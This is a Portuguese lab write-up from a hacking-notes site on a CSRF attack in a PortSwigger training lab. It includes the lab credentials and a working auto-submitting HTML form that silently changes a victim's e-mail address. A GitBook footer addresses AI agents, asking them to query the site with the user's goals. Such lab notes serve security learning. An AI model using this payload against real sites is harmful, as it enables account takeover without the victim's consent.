> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-vulnerability-with-no-defenses.md).

# Vulnerabilidade CSRF sem Proteção

### Vulnerabilidade CSRF sem defesas

#### Descrição

A funcionalidade de alteração de e-mail deste laboratório é vulnerável a um ataque CSRF. O objetivo é forjar uma solicitação do lado do cliente que altere o endereço de e-mail do usuário vítima sem consentimento.

#### Objetivo

Crie conteúdo HTML que execute o ataque CSRF para alterar o endereço de e-mail do visitante e, em seguida, faça upload desse conteúdo para o seu servidor de exploração.

#### Identificador

Você pode fazer login com a seguinte conta:/ **wiener: peter**

<figure><img src="/files/7882067c4f9cc0c861c58f517fed48d8cf9e23a5" alt=""><figcaption></figcaption></figure>

Ao interceptar, observa-se que a solicitação para alterar o e-mail é uma simples solicitação POST que aceita o `email` parâmetro. Não há proteção anti-CSRF (nenhum token, origem etc.), o que permite automatizar o envio do formulário a partir de uma página hospedada no servidor de exploração.

#### HTML de payload para depositar no servidor de exploração

O seguinte HTML cria um formulário direcionado à URL de alteração de e-mail e o envia automaticamente quando a página é carregada:

```html
<form class="login-form" name="change-email-form" action="https://0a8500d803454f6280a003f700b700a3.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="email" name="email" value="admin@hacked.com">
</form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-vulnerability-with-no-defenses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
